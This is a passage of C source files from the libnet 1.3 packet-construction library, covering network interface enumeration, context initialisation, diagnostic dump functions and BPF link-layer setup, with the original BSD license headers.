*tmp; /* grow by a factor of 1.5, close enough to golden ratio */ ip_addr_num += ip_addr_num >> 2; tmp = realloc(ifaddrlist, ip_addr_num * sizeof(struct libnet_ifaddr_list)); if (!tmp) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): OOM reallocating ifaddrlist", __func__); break; } ifaddrlist = tmp; } pifr = ifr; } close(fd); *ipaddrp = ifaddrlist; return ((int)nipaddr); bad: if (ifaddrlist) free(ifaddrlist); close(fd); return (-1); } #endif /* HAVE_LINUX_PROCFS */ #else /* WIN32 support * * TODO move win32 support into win32 specific source file */ /* From tcptraceroute, convert a numeric IP address to a string */ #define IPTOSBUFFERS 12 static int8_t *iptos(uint32_t in) { static int8_t output[IPTOSBUFFERS][ 3 * 4 + 3 + 1]; static int16_t which; uint8_t *p; p = (uint8_t *)∈ which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1); snprintf(output[which], IPTOSBUFFERS, "%d.%d.%d.%d", p[0], p[1], p[2], p[3]); return output[which]; } int libnet_ifaddrlist(struct libnet_ifaddr_list **ipaddrp, char *unused, char *errbuf) { struct libnet_ifaddr_list *ifaddrlist = NULL; int8_t err[PCAP_ERRBUF_SIZE]; pcap_if_t *devlist = NULL; pcap_if_t *dev = NULL; size_t nipaddr = 0; (void)unused; /* Retrieve the interfaces list */ if (pcap_findalldevs(&devlist, err) == -1) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): error in pcap_findalldevs: %s", __func__, err); return (-1); } ifaddrlist = calloc(ip_addr_num, sizeof(struct libnet_ifaddr_list)); if (!ifaddrlist) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): OOM when allocating initial ifaddrlist", __func__); return (0); } for (dev = devlist; dev; dev = dev->next) { struct pcap_addr *pcapaddr; for (pcapaddr = dev->addresses; pcapaddr; pcapaddr = pcapaddr->next) { struct libnet_ifaddr_list *al = &ifaddrlist[nipaddr]; struct sockaddr *addr = pcapaddr->addr; #if 0 printf("if name '%s' description '%s' loop? %d\n", dev->name, dev->description, dev->flags); { char p[NI_MAXHOST] = ""; int sz = sizeof(struct sockaddr_storage); int r; r = getnameinfo(addr, sz, p, sizeof(p), NULL,0, NI_NUMERICHOST); printf(" addr %s\n", r ? gai_strerror(r) : p); } #endif if (dev->flags & PCAP_IF_LOOPBACK) continue; /* this code ignores IPv6 addresses, a limitation of the libnet_ifaddr_list struct */ if (addr->sa_family != AF_INET) continue; al->device = strdup(dev->name); al->addr = ((struct sockaddr_in *)addr)->sin_addr.s_addr; ++nipaddr; if (nipaddr == ip_addr_num) { struct libnet_ifaddr_list *tmp; /* grow by a factor of 1.5, close enough to golden ratio */ ip_addr_num += ip_addr_num >> 2; tmp = realloc(ifaddrlist, ip_addr_num * sizeof(struct libnet_ifaddr_list)); if (!tmp) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): OOM reallocating ifaddrlist", __func__); break; } ifaddrlist = tmp; } } } pcap_freealldevs(devlist); *ipaddrp = ifaddrlist; return ((int)nipaddr); } #endif /* __WIN32__ */ #endif /* __OpenBSD__ */ int libnet_select_device(libnet_t *l) { struct libnet_ifaddr_list *address_list = NULL, *al; uint32_t addr; int c, i, rc; if (l == NULL) { return (-1); } if (l->device && !isdigit(l->device[0])) { #if !(__WIN32__) if (libnet_check_iface(l) < 0) { /* err msg set in libnet_check_iface() */ return (-1); } #endif return (1); } /* * Number of interfaces. */ c = libnet_ifaddrlist(&address_list, l->device, l->err_buf); if (c < 0) { goto end; } else if (c == 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): no network interface found", __func__); goto end; } al = address_list; if (l->device) { addr = libnet_name2addr4(l, l->device, LIBNET_DONT_RESOLVE); for (i = c; i; --i, ++al) { if (!strcmp(l->device, al->device) || al->addr == addr) { /* free the "user supplied device" - see libnet_init() */ free(l->device); l->device = strdup(address_list->device); goto good; } } if (i <= 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): can't find interface for IP %s", __func__, l->device); goto bad; } } else { l->device = strdup(address_list->device); } good: rc = 1; goto end; bad: rc = -1; end: if (address_list) { for (i = 0; i < c; i++) { free(address_list[i].device); address_list[i].device = NULL; } free(address_list); } return rc; } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_init.c0000664000175000017500000001415314506572036014315 0ustar syqsyq/* * $Id: libnet_init.c,v 1.17 2004/03/16 18:40:59 mike Exp $ * * libnet * libnet_init.c - Initilization routines. * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_t * libnet_init(int injection_type, const char *device, char *err_buf) { libnet_t *l = NULL; #if defined(__WIN32__) WSADATA wsaData; if ((WSAStartup(0x0202, &wsaData)) != 0) { snprintf(err_buf, LIBNET_ERRBUF_SIZE, "%s(): unable to initialize winsock 2", __func__); goto bad; } #endif l = (libnet_t *)malloc(sizeof (libnet_t)); if (l == NULL) { snprintf(err_buf, LIBNET_ERRBUF_SIZE, "%s(): malloc(): %s", __func__, strerror(errno)); goto bad; } memset(l, 0, sizeof (*l)); l->injection_type = injection_type; l->ptag_state = LIBNET_PTAG_INITIALIZER; l->device = (device ? strdup(device) : NULL); l->fd = -1; strncpy(l->label, LIBNET_LABEL_DEFAULT, LIBNET_LABEL_SIZE); l->label[LIBNET_LABEL_SIZE - 1] = '\0'; switch (l->injection_type) { case LIBNET_NONE: break; case LIBNET_LINK: case LIBNET_LINK_ADV: if (libnet_select_device(l) == -1) { snprintf(err_buf, LIBNET_ERRBUF_SIZE, "%s", l->err_buf); goto bad; } if (libnet_open_link(l) == -1) { snprintf(err_buf, LIBNET_ERRBUF_SIZE, "%s", l->err_buf); goto bad; } break; case LIBNET_RAW4: case LIBNET_RAW4_ADV: if (libnet_open_raw4(l) == -1) { snprintf(err_buf, LIBNET_ERRBUF_SIZE, "%s", l->err_buf); goto bad; } break; case LIBNET_RAW6: case LIBNET_RAW6_ADV: if (libnet_open_raw6(l) == -1) { snprintf(err_buf, LIBNET_ERRBUF_SIZE, "%s", l->err_buf); goto bad; } break; default: snprintf(err_buf, LIBNET_ERRBUF_SIZE, "%s(): unsupported injection type", __func__); goto bad; break; } return (l); bad: if (l) { libnet_destroy(l); } return (NULL); } void libnet_destroy(libnet_t *l) { if (l) { if (l->fd != -1) close(l->fd); if (l->device) free(l->device); libnet_clear_packet(l); free(l); } } void libnet_clear_packet(libnet_t *l) { libnet_pblock_t *p; if (!l) { return; } while ((p = l->protocol_blocks)) { libnet_pblock_delete(l, p); } /* All pblocks are deleted, so start the tag count over from 1. */ l->ptag_state = 0; } void libnet_stats(libnet_t *l, struct libnet_stats *ls) { if (l == NULL) { return; } ls->packets_sent = l->stats.packets_sent; ls->packet_errors = l->stats.packet_errors; ls->bytes_written = l->stats.bytes_written; } int libnet_getfd(libnet_t *l) { if (l == NULL) { return (-1); } return (int)(l->fd); } #ifdef SO_SNDBUF int libnet_setfd_max_sndbuf(libnet_t *l, int max_bytes) { if (l == NULL) return (-1); /* Try to set the buffer size to max_bytes */ if (setsockopt(l->fd, SOL_SOCKET, SO_SNDBUF, &max_bytes, sizeof(max_bytes)) < 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): set SO_SNDBUF failed: %s", __func__, strerror(errno)); return (-1); } return (0); } #endif /* SO_SNDBUF */ const char * libnet_getdevice(libnet_t *l) { if (l == NULL) { return (NULL); } return (l->device); } uint8_t * libnet_getpbuf(libnet_t *l, libnet_ptag_t ptag) { libnet_pblock_t *p; if (l == NULL) { return (NULL); } p = libnet_pblock_find(l, ptag); if (p == NULL) { /* err msg set in libnet_pblock_find() */ return (NULL); } else { return (p->buf); } } uint32_t libnet_getpbuf_size(libnet_t *l, libnet_ptag_t ptag) { libnet_pblock_t *p; if (l == NULL) { return (0); } p = libnet_pblock_find(l, ptag); if (p == NULL) { /* err msg set in libnet_pblock_find() */ return (0); } else { return (p->b_len); } } uint32_t libnet_getpacket_size(libnet_t *l) { /* Why doesn't this return l->total_size? */ libnet_pblock_t *p; uint32_t n; if (l == NULL) { return (0); } n = 0; p = l->protocol_blocks; if (p) { for (; p; p = p->next) { n += p->b_len; } } return (n); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_internal.c0000664000175000017500000002710714506572036015171 0ustar syqsyq/* * $Id: libnet_internal.c,v 1.14 2004/03/16 18:40:59 mike Exp $ * * libnet * libnet_internal.c - secret routines! * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" void libnet_diag_dump_hex(const uint8_t *packet, uint32_t len, int swap, FILE *stream) { int i, s_cnt; uint16_t *p; p = (uint16_t *)packet; s_cnt = len / sizeof(uint16_t); fprintf(stream, "\t"); for (i = 0; --s_cnt >= 0; i++) { if ((!(i % 8))) { fprintf(stream, "\n%02x\t", (i * 2)); } fprintf(stream, "%04x ", swap ? ntohs(*(p++)) : *(p++)); } /* * Mop up an odd byte. */ if (len & 1) { if ((!(i % 8))) { fprintf(stream, "\n%02x\t", (i * 2)); } fprintf(stream, "%02x ", *(uint8_t *)p); } fprintf(stream, "\n"); } void libnet_diag_dump_context(libnet_t *l) { if (l == NULL) { return; } fprintf(stderr, "fd:\t\t%d\n", l->fd); switch (l->injection_type) { case LIBNET_LINK: fprintf(stderr, "injection type:\tLIBNET_LINK\n"); break; case LIBNET_RAW4: fprintf(stderr, "injection type:\tLIBNET_RAW4\n"); break; case LIBNET_RAW6: fprintf(stderr, "injection type:\tLIBNET_RAW6\n"); break; case LIBNET_LINK_ADV: fprintf(stderr, "injection type:\tLIBNET_LINK_ADV\n"); break; case LIBNET_RAW4_ADV: fprintf(stderr, "injection type:\tLIBNET_RAW4_ADV\n"); break; case LIBNET_RAW6_ADV: fprintf(stderr, "injection type:\tLIBNET_RAW6_ADV\n"); break; default: fprintf(stderr, "injection type:\tinvalid injection type %d\n", l->injection_type); break; } fprintf(stderr, "pblock start:\t%p\n", (void*)l->protocol_blocks); fprintf(stderr, "pblock end:\t%p\n", (void*)l->pblock_end); fprintf(stderr, "link type:\t%d\n", l->link_type); fprintf(stderr, "link offset:\t%d\n", l->link_offset); fprintf(stderr, "aligner:\t%d\n", l->aligner); fprintf(stderr, "device:\t\t%s\n", l->device); fprintf(stderr, "packets sent:\t%lld\n", (long long int)l->stats.packets_sent); fprintf(stderr, "packet errors:\t%lld\n", (long long int)l->stats.packet_errors); fprintf(stderr, "bytes written:\t%lld\n", (long long int)l->stats.bytes_written); fprintf(stderr, "ptag state:\t%d\n", l->ptag_state); fprintf(stderr, "context label:\t%s\n", l->label); fprintf(stderr, "last errbuf:\t%s\n", l->err_buf); fprintf(stderr, "total size:\t%d\n", l->total_size); } void libnet_diag_dump_pblock(libnet_t *l) { uint32_t n; libnet_pblock_t *p; for (p = l->protocol_blocks; p; p = p->next) { fprintf(stderr, "pblock type:\t%s\n", libnet_diag_dump_pblock_type(p->type)); fprintf(stderr, "ptag number:\t%d\n", p->ptag); fprintf(stderr, "pblock address:\t%p\n", (void*)p); fprintf(stderr, "next pblock\t%p ", (void*)p->next); if (p->next) { fprintf(stderr, "(%s)", libnet_diag_dump_pblock_type(p->next->type)); } fprintf(stderr, "\n"); fprintf(stderr, "prev pblock\t%p ", (void*)p->prev); if (p->prev) { fprintf(stderr, "(%s)", libnet_diag_dump_pblock_type(p->prev->type)); } fprintf(stderr, "\n"); fprintf(stderr, "buf:\t\t"); for (n = 0; n < p->b_len; n++) { fprintf(stderr, "%02x", p->buf[n]); } fprintf(stderr, "\nbuffer length:\t%d\n", p->b_len); if ((p->flags) & LIBNET_PBLOCK_DO_CHECKSUM) { fprintf(stderr, "checksum flag:\tYes\n"); fprintf(stderr, "chksum length:\t%d\n", p->h_len); } else { fprintf(stderr, "checksum flag:\tNo\n"); } fprintf(stderr, "bytes copied:\t%d\n\n", p->copied); } } char * libnet_diag_dump_pblock_type(uint8_t type) { switch (type) { /* below text can be regenerated using ./map-pblock-types */ case LIBNET_PBLOCK_ARP_H: return ("arp"); case LIBNET_PBLOCK_DHCPV4_H: return ("dhcpv4"); case LIBNET_PBLOCK_DNSV4_H: return ("dnsv4"); case LIBNET_PBLOCK_ETH_H: return ("eth"); case LIBNET_PBLOCK_ICMPV4_H: return ("icmpv4"); case LIBNET_PBLOCK_ICMPV4_ECHO_H: return ("icmpv4_echo"); case LIBNET_PBLOCK_ICMPV4_MASK_H: return ("icmpv4_mask"); case LIBNET_PBLOCK_ICMPV4_UNREACH_H: return ("icmpv4_unreach"); case LIBNET_PBLOCK_ICMPV4_TIMXCEED_H: return ("icmpv4_timxceed"); case LIBNET_PBLOCK_ICMPV4_REDIRECT_H: return ("icmpv4_redirect"); case LIBNET_PBLOCK_ICMPV4_TS_H: return ("icmpv4_ts"); case LIBNET_PBLOCK_IGMP_H: return ("igmp"); case LIBNET_PBLOCK_IPV4_H: return ("ipv4"); case LIBNET_PBLOCK_IPO_H: return ("ipo"); case LIBNET_PBLOCK_IPDATA: return ("ipdata"); case LIBNET_PBLOCK_OSPF_H: return ("ospf"); case LIBNET_PBLOCK_OSPF_HELLO_H: return ("ospf_hello"); case LIBNET_PBLOCK_OSPF_DBD_H: return ("ospf_dbd"); case LIBNET_PBLOCK_OSPF_LSR_H: return ("ospf_lsr"); case LIBNET_PBLOCK_OSPF_LSU_H: return ("ospf_lsu"); case LIBNET_PBLOCK_OSPF_LSA_H: return ("ospf_lsa"); case LIBNET_PBLOCK_OSPF_AUTH_H: return ("ospf_auth"); case LIBNET_PBLOCK_OSPF_CKSUM: return ("ospf_cksum"); case LIBNET_PBLOCK_LS_RTR_H: return ("ls_rtr"); case LIBNET_PBLOCK_LS_NET_H: return ("ls_net"); case LIBNET_PBLOCK_LS_SUM_H: return ("ls_sum"); case LIBNET_PBLOCK_LS_AS_EXT_H: return ("ls_as_ext"); case LIBNET_PBLOCK_NTP_H: return ("ntp"); case LIBNET_PBLOCK_RIP_H: return ("rip"); case LIBNET_PBLOCK_TCP_H: return ("tcp"); case LIBNET_PBLOCK_TCPO_H: return ("tcpo"); case LIBNET_PBLOCK_TCPDATA: return ("tcpdata"); case LIBNET_PBLOCK_UDP_H: return ("udp"); case LIBNET_PBLOCK_VRRP_H: return ("vrrp"); case LIBNET_PBLOCK_DATA_H: return ("data"); case LIBNET_PBLOCK_CDP_H: return ("cdp"); case LIBNET_PBLOCK_IPSEC_ESP_HDR_H: return ("ipsec_esp_hdr"); case LIBNET_PBLOCK_IPSEC_ESP_FTR_H: return ("ipsec_esp_ftr"); case LIBNET_PBLOCK_IPSEC_AH_H: return ("ipsec_ah"); case LIBNET_PBLOCK_802_1Q_H: return ("802_1q"); case LIBNET_PBLOCK_802_2_H: return ("802_2"); case LIBNET_PBLOCK_802_2SNAP_H: return ("802_2snap"); case LIBNET_PBLOCK_802_3_H: return ("802_3"); case LIBNET_PBLOCK_STP_CONF_H: return ("stp_conf"); case LIBNET_PBLOCK_STP_TCN_H: return ("stp_tcn"); case LIBNET_PBLOCK_ISL_H: return ("isl"); case LIBNET_PBLOCK_IPV6_H: return ("ipv6"); case LIBNET_PBLOCK_802_1X_H: return ("802_1x"); case LIBNET_PBLOCK_RPC_CALL_H: return ("rpc_call"); case LIBNET_PBLOCK_MPLS_H: return ("mpls"); case LIBNET_PBLOCK_FDDI_H: return ("fddi"); case LIBNET_PBLOCK_TOKEN_RING_H: return ("token_ring"); case LIBNET_PBLOCK_BGP4_HEADER_H: return ("bgp4_header"); case LIBNET_PBLOCK_BGP4_OPEN_H: return ("bgp4_open"); case LIBNET_PBLOCK_BGP4_UPDATE_H: return ("bgp4_update"); case LIBNET_PBLOCK_BGP4_NOTIFICATION_H: return ("bgp4_notification"); case LIBNET_PBLOCK_GRE_H: return ("gre"); case LIBNET_PBLOCK_GRE_SRE_H: return ("gre_sre"); case LIBNET_PBLOCK_IPV6_FRAG_H: return ("ipv6_frag"); case LIBNET_PBLOCK_IPV6_ROUTING_H: return ("ipv6_routing"); case LIBNET_PBLOCK_IPV6_DESTOPTS_H: return ("ipv6_destopts"); case LIBNET_PBLOCK_IPV6_HBHOPTS_H: return ("ipv6_hbhopts"); case LIBNET_PBLOCK_SEBEK_H: return ("sebek"); case LIBNET_PBLOCK_HSRP_H: return ("hsrp"); case LIBNET_PBLOCK_ICMPV6_H: return ("icmpv6"); case LIBNET_PBLOCK_ICMPV6_ECHO_H: return ("icmpv6_echo"); case LIBNET_PBLOCK_ICMPV6_UNREACH_H: return ("icmpv6_unreach"); case LIBNET_PBLOCK_ICMPV6_NDP_NSOL_H: return ("icmpv6_ndp_nsol"); case LIBNET_PBLOCK_ICMPV6_NDP_NADV_H: return ("icmpv6_ndp_nadv"); case LIBNET_PBLOCK_ICMPV6_NDP_OPT_H: return ("icmpv6_ndp_opt"); case LIBNET_PBLOCK_LLDP_H: return ("lldp"); case LIBNET_PBLOCK_LLDP_CHASSIS_H: return ("lldp_chassis_id"); case LIBNET_PBLOCK_LLDP_PORT_H: return ("lldp_port_id"); case LIBNET_PBLOCK_LLDP_TTL_H: return ("lldp_ttl"); case LIBNET_PBLOCK_LLDP_END_H: return ("lldp_end_lldpdu"); case LIBNET_PBLOCK_LLDP_ORG_SPEC_H: return ("lldp_org_specific"); case LIBNET_PBLOCK_UDLD_H: return ("udld"); case LIBNET_PBLOCK_UDLD_DEVICE_ID_H: return ("udld_device_id"); case LIBNET_PBLOCK_UDLD_PORT_ID_H: return ("udld_port_id"); case LIBNET_PBLOCK_UDLD_ECHO_H: return ("udld_echo"); case LIBNET_PBLOCK_UDLD_MSG_INTERVAL_H: return ("udld_message_interval"); case LIBNET_PBLOCK_UDLD_TMT_INTERVAL_H: return ("udld_timeout_interval"); case LIBNET_PBLOCK_UDLD_DEVICE_NAME_H: return ("udld_device_name"); case LIBNET_PBLOCK_UDLD_SEQ_NUMBER_H: return ("udld_sequence_number"); } return ("unrecognized pblock"); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_link_bpf.c0000664000175000017500000002151414506572036015135 0ustar syqsyq/* * $Id: libnet_link_bpf.c,v 1.6 2004/01/28 19:45:00 mike Exp $ * * libnet * libnet_link_bpf.c - low-level bpf routines * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Copyright (c) 1993, 1994, 1995, 1996, 1998 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include "common.h" #include /* optionally get BSD define */ #if !defined(__OpenBSD__) && !defined(__FreeBSD__) #include #endif #include #include #include #include #include #include #include #include #include #include "../include/gnuc.h" #ifdef HAVE_OS_PROTO_H #include "../include/os-proto.h" #endif int libnet_bpf_open(char *err_buf) { int i, fd; char device[] = "/dev/bpf000"; /* * Go through all the minors and find one that isn't in use. */ for (i = 0; i < 1000; i++) { snprintf(device, sizeof(device), "/dev/bpf%d", i); fd = open(device, O_RDWR); if (fd == -1 && errno == EBUSY) { /* * Device is busy. */ continue; } else { /* * Either we've got a valid file descriptor, or errno is not * EBUSY meaning we've probably run out of devices. */ break; } } if (fd == -1) { snprintf(err_buf, LIBNET_ERRBUF_SIZE, "%s(): open(): (%s): %s", __func__, device, strerror(errno)); } return (fd); } int libnet_open_link(libnet_t *l) { struct ifreq ifr; struct bpf_version bv; uint v; #if defined(BIOCGHDRCMPLT) && defined(BIOCSHDRCMPLT) && !(__APPLE__) uint spoof_eth_src = 1; #endif if (l == NULL) { return (-1); } if (l->device == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): NULL device", __func__); goto bad; } l->fd = libnet_bpf_open((char*)l->err_buf); if (l->fd == -1) { goto bad; } /* * Get bpf version. */ if (ioctl(l->fd, BIOCVERSION, (caddr_t)&bv) < 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): BIOCVERSION: %s", __func__, strerror(errno)); goto bad; } if (bv.bv_major != BPF_MAJOR_VERSION || bv.bv_minor < BPF_MINOR_VERSION) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): kernel bpf filter out of date", __func__); goto bad; } /* * Attach network interface to bpf device. */ strncpy(ifr.ifr_name, l->device, sizeof(ifr.ifr_name) - 1); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; if (ioctl(l->fd, BIOCSETIF, (caddr_t)&ifr) == -1) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): BIOCSETIF: (%s): %s", __func__, l->device, strerror(errno)); goto bad; } /* * Get the data link-layer type. */ if (ioctl(l->fd, BIOCGDLT, (caddr_t)&v) == -1) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): BIOCGDLT: %s", __func__, strerror(errno)); goto bad; } /* * NetBSD and FreeBSD BPF have an ioctl for enabling/disabling * automatic filling of the link level source address. */ #if defined(BIOCGHDRCMPLT) && defined(BIOCSHDRCMPLT) && !(__APPLE__) if (ioctl(l->fd, BIOCSHDRCMPLT, &spoof_eth_src) == -1) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): BIOCSHDRCMPLT: %s", __func__, strerror(errno)); goto bad; } #endif /* * Assign link type and offset. */ switch (v) { case DLT_SLIP: l->link_offset = 0x10; break; case DLT_RAW: l->link_offset = 0x0; break; case DLT_PPP: l->link_offset = 0x04; break; case DLT_EN10MB: default: l->link_offset = 0xe; /* default to ethernet */ break; } #if _BSDI_VERSION - 0 >= 199510 switch (v) { case DLT_SLIP: v = DLT_SLIP_BSDOS; l->link_offset = 0x10; break; case DLT_PPP: v = DLT_PPP_BSDOS; l->link_offset = 0x04; break; } #endif l->link_type = v; return (1); bad: if (l->fd > 0) { close(l->fd); /* this can fail ok */ } return (-1); } int libnet_close_link(libnet_t *l) { if (close(l->fd) == 0) { return (1); } else { return (-1); } } int libnet_write_link(libnet_t *l, const uint8_t *packet, uint32_t size) { int c; if (l == NULL) { return (-1); } c = write(l->fd, packet, size); if (c != size) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): %d bytes written (%s)", __func__, c, strerror(errno)); } return (c); } struct libnet_ether_addr * libnet_get_hwaddr(libnet_t *l) { int mib[6]; size_t len; int8_t *buf, *next, *end; struct if_msghdr *ifm; struct sockaddr_dl *sdl; mib[0] = CTL_NET; mib[1] = AF_ROUTE; mib[2] = 0; mib[3] = AF_LINK; mib[4] = NET_RT_IFLIST; mib[5] = 0; if (l == NULL) { return (NULL); } if (l->device == NULL) { if (libnet_select_device(l) == -1) { /* err msg set in libnet_select_device */ return (NULL); } } if (sysctl(mib, 6, NULL, &len, NULL, 0) == -1) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): sysctl(): %s", __func__, strerror(errno)); return (NULL); } buf = (int8_t *)malloc(len); if (buf == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): malloc(): %s", __func__, strerror(errno)); return (NULL); } if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): sysctl(): %s", __func__, strerror(errno)); free(buf); return (NULL); } end = buf + len; for (next = buf ; next < end ; next += ifm->ifm_msglen) { ifm = (struct if_msghdr *)next; if (ifm->ifm_version != RTM_VERSION) continue; if (ifm->ifm_type == RTM_IFINFO) { sdl = (struct sockaddr_dl *)(ifm + 1); if (sdl->sdl_type != IFT_ETHER #ifdef IFT_FASTETHER && sdl->sdl_type != IFT_FASTETHER #endif #ifdef IFT_FASTETHERFX && sdl->sdl_type != IFT_FASTETHERFX #endif #ifdef IFT_GIGABITETHERNET && sdl->sdl_type != IFT_GIGABITETHERNET #endif && sdl->sdl_type != IFT_L2VLAN) continue; if (sdl->sdl_nlen == strlen(l->device) && strncmp(&sdl->sdl_data[0], l->device, sdl->sdl_nlen) == 0) { memcpy(l->link_addr.ether_addr_octet, LLADDR(sdl), ETHER_ADDR_LEN); break; } } } free(buf); if (next == end) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): interface %s of known type not found.", __func__, l->device); return NULL; } return (&l->link_addr); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_link_dlpi.c0000664000175000017500000005031314506572036015315 0ustar syqsyq/* * $Id: libnet_link_dlpi.c,v 1.8 2004/01/28 19:45:00 mike Exp $ * * libnet * libnet_dlpi.c - dlpi routines * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Copyright (c) 1993, 1994, 1995, 1996, 1997 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * 